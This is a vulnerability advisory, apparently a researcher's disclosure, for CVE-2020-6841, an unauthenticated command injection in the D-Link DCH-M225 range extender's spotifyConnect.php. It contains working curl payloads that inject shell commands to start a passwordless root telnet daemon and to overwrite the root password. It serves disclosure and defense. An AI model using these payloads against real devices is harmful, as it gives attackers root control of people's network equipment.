jezzaaa / CVE-2020-6841 detail.txt

Last active 2 years ago

CVE-2020-6841 - allow a local attacker to execute arbitrary OS commands as root

CVE-2020-6841 detail.txt

```
D-Link DCH-M225 1.04 devices allow remote attackers to execute
arbitrary OS commands via shell metacharacters in the
spotifyConnect.php userName parameter.

------------------------------------------

[Additional Information]
From the local network (eg wifi), access the URL
http://ip-address/spotifyConnect.php with POST variables:

action=addUser userName=;/usr/sbin/telnetd -i br0 >/dev/null &;

For example, from a Linux command-line:

curl -d 'action=addUser&userName=;/usr/sbin/telnetd -i br0 >/dev/null &;' http://192.168.0.50/spotifyConnect.php

This starts a telnet daemon that provides a root shell with no
password.Then telnet to the device for a root shell.

The same exploit can be used to temporarily change the root password,
using something like:

curl -d 'action=addUser&userName=;echo "\"Admin\" \"\" \"0\""">/var/passwd.new;' http://192.168.1.204/spotifyConnect.php

This exploit would also work on a network that exposes port 80 on the
device to the Internet, in which case this would allow a remote root
shell to an unprivileged user.

The vendor has stated that the device has been discontinued (as of
April 2018), and that they won't be patching.

The vulnerable "Spotify Connect" feature of the product may have been
implemented on other devices that are still for sale or still under
support, possibly using the same vulnerable code implemented in
spotifyCode.php on this device. The vendor has been asked if any
of their other products use the same code, but they did not answer
this question.

------------------------------------------

[VulnerabilityType Other]
command injection (missing input validation, escaping)

------------------------------------------

[Vendor of Product]
D-Link

------------------------------------------

[Affected Product Code Base]
DCH-M225 Wi-fi Range Extender - 1.04

------------------------------------------

[Affected Component]
script spotifyConnect.php

------------------------------------------

[Attack Type]
Local

------------------------------------------

[Attack Vectors]
Submit HTTP request to add a Spotify Connect user (no admin auth
required), using a username containing a semicolon followed by an
arbitrary command (which runs as root) such as telnetd or commands to
modify the admin user's password.

------------------------------------------

[References]
https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10152
https://www.dlink.com.au/home-solutions/dch-m225-wi-fi-audio-extender
https://www.ftc.gov/system/files/documents/cases/dlink_proposed_order_and_judgment_7-2-19.pdf
https://www.dlink.com/en/security-bulletin

------------------------------------------
```

```
81 J Laidman
```